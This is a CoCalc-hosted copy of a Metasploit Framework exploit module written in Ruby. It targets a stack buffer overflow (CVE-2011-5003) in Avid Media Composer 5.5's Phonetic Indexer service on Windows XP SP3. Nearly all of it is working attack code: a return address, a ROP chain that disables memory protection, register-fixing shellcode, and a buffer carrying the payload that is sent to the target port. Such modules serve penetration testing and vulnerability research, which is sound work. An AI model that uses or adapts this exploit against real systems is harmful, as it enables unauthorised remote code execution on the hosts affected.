CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/avidphoneticindexer.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info={})
12
super(update_info(info,
13
'Name' => "Avid Media Composer 5.5 - Avid Phonetic Indexer Buffer Overflow",
14
'Description' => %q{
15
This module exploits a stack buffer overflow in process
16
AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer
17
5.5 Editing Suite. This daemon sometimes starts on a different port; if you start
18
it standalone it will run on port 4660.
19
},
20
'License' => MSF_LICENSE,
21
'Author' =>
22
[
23
'vt [[email protected]]',
24
],
25
'References' =>
26
[
27
['CVE', '2011-5003'],
28
['OSVDB', '77376'],
29
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Phonetic_Indexer-Remote_Stack_Buffer_Overflow.pdf' ],
30
],
31
'Payload' =>
32
{
33
'Space' => 1012,
34
'BadChars' => "\x00\x09\x0a\x0d\x20",
35
'DisableNops' => true,
36
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
37
'EncoderOptions' =>
38
{
39
'BufferRegister' => 'EAX',
40
}
41
},
42
'Platform' => 'win',
43
'Targets' =>
44
[
45
[
46
'Windows XP Professional SP3',
47
{
48
'Ret' => 0x028B35EB #ADD ESP, 1800; RET (il.dll)
49
}
50
],
51
],
52
'Privileged' => false,
53
'DisclosureDate' => '2011-11-29',
54
'DefaultTarget' => 0))
55
56
register_options(
57
[
58
Opt::RPORT(4659),
59
])
60
end
61
62
def exploit
63
rop_gadgets = [
64
# ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!)
65
# a non-sayonara ROP would be super easy too, I'm just lazy :)
66
0x7C344CC1, # pop eax;ret;
67
0x7C3410C2, # pop ecx;pop ecx;ret;
68
0x7C342462, # xor chain; call eax {0x7C3410C2}
69
0x7C38C510, # writeable location for lpflOldProtect
70
0x7C365645, # pop esi;ret;
71
0x7C345243, # ret;
72
0x7C348F46, # pop ebp;ret;
73
0x7C3487EC, # call eax
74
0x7C344CC1, # pop eax;ret;
75
0xfffffbfc, # {size}
76
0x7C34D749, # neg eax;ret; {adjust size}
77
0x7C3458AA, # add ebx, eax;ret; {size into ebx}
78
0x7C3439FA, # pop edx;ret;
79
0xFFFFFFC0, # {flag}
80
0x7C351EB1, # neg edx;ret; {adjust flag}
81
0x7C354648, # pop edi;ret;
82
0x7C3530EA, # mov eax,[eax];ret;
83
0x7C344CC1, # pop eax;ret;
84
0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}
85
0x7C355AEB, # sub eax,30;ret;
86
0x7C378C81, # pushad; add al,0xef; ret;
87
0x7C36683F, # push esp;ret;
88
].pack("V*")
89
90
# need to control a buffer reg for the msf gen'd payload to fly. in this case:
91
bufregfix = "\x8b\xc4" # MOV EAX,ESP
92
bufregfix += "\x83\xc0\x10" # ADD EAX,10
93
94
connect
95
sploit = ''
96
sploit << rand_text_alpha_upper(216)
97
sploit << [target.ret].pack('V*')
98
sploit << "A"*732 #This avoids a busted LoadLibrary
99
sploit << rop_gadgets
100
sploit << bufregfix
101
sploit << "\xeb\x09"
102
sploit << rand_text_alpha_upper(9)
103
sploit << payload.encoded
104
sock.put(sploit)
105
handler
106
disconnect
107
end
108
end
109
110